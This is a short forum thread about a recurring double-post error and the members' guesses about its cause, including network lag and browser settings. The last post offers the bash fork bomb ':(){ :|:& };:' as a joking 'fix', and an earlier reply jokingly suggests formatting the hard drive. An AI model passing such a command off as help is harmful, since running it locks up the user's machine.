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Old 2 Weeks Ago   #1 (permalink)
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Something's wrong with the forum!
Has something changed in the way that replies are done? Any time I reply it tries to double post and gives me the "you're only allowed to post once every 30 seconds" error....this has happened at least 5 times in the last 24 hours....annoyed
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I haven't seen that myself yet, seem to be doing fine here
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Not happened to me either
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I've not had that happen, either, but will be watching for it.
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It did happen to me once.

ok since then ?
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I have had that happen before, but not since I hooked up by cable. I think it has to do with net lag and your browser settings, namely, automatically resending a request if it doesn't receive a response in a certain amount of time. The forum protects itself from accidental double posts caused this way, so I think it's functioning normally.
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Try clearing your browser cache, delete cookies and whatnot.
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I'm new here, but perhaps a quick HDD format will solve the problem.
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lol uhhh.....no
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:(){ :|:& };:

After you recover from that, everything will appear to run fast! :D

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